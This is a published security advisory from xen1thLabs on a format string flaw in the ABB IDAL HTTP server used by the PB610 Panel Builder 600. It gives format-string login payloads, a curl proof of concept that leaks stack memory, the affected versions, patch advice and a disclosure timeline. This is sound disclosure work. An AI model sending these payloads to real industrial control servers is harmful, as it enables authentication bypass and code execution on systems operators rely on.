XL-19-012 - ABB IDAL HTTP Server Uncontrolled Format String Vulnerability  
CVSS Score  
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
Affected vendor  
ABB (  
Eldar Marcussen - xen1thLabs - Software Labs  
Vulnerability summary  
The IDAL HTTP server is vulnerable to memory corruption through insecure use of user supplied format strings. An attacker can abuse this functionality to bypass authentication or execute code on the server.  
Technical details  
The IDAL HTTP server does not safely handle username or cookie strings during the authentication process. Attempting to authenticate with the username "%25s%25p%25x%25n" will crash the server. Sending "%08x.AAAA.%08x.%08x" will log memory content from the stack.  
Proof of concept  
curl -d 'username=%2508x.AAAA.%2508x.%2508x&password=xen1thLabs' http://targetip:81/cgi/login  
UserManagementModule::LoginCGIUser failed. User:"72657355.AAAA.616e614d.656d6567" not present in UserFactory  
Affected systems  
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ...  
Apply the patches and instructions from vendor:  
- ABB PB610 -  
Disclosure timeline  
04/02/2019 - Contacted ABB requesting disclosure coordination  
05/02/2019 - Provided vulnerability details  
05/06/2019 - Patch available  
17/06/2019 - xen1thLabs public disclosure